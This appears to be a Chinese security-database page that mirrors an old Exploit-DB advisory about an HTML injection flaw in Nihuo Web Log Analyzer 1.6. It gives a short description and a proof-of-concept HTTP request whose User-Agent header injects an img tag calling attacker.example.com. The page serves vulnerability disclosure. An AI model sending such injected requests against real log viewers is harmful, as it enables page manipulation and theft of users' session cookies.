Nihuo Web Log Analyzer 1.6 – HTML Injection

Nihuo Web Log Analyzer 1.6 – HTML Injection

漏洞ID 1054559 漏洞类型
发布时间 2004-08-20 更新时间 2004-08-20
图片[1]-Nihuo Web Log Analyzer 1.6 – HTML Injection-安全小百科CVE编号 N/A
图片[2]-Nihuo Web Log Analyzer 1.6 – HTML Injection-安全小百科CNNVD-ID N/A
漏洞平台 Multiple CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/24387
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/10988/info

An HTML injection vulnerability is reported in Nihuo Web Log Analyzer. The problem occurs due to a lack of proper sanitization of user-supplied input data.

Attackers may potentially exploit this issue to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

Version 1.6 was reported vulnerable to this issue. Other versions may also be affected. 

GET / HTTP/1.1
Host: www.example.com
Connection: close
Accept: text/plain
Accept-Language: en-us,en
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
User-Agent: Some-Fake-UA <img src='http://attacker.example.com/app.gif'>

相关推荐: Eric Raymond cstrings tempnam() Insecure Temporary File Creation Vulnerability

Eric Raymond cstrings tempnam() Insecure Temporary File Creation Vulnerability 漏洞ID 1099118 漏洞类型 Race Condition Error 发布时间 2003-12…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享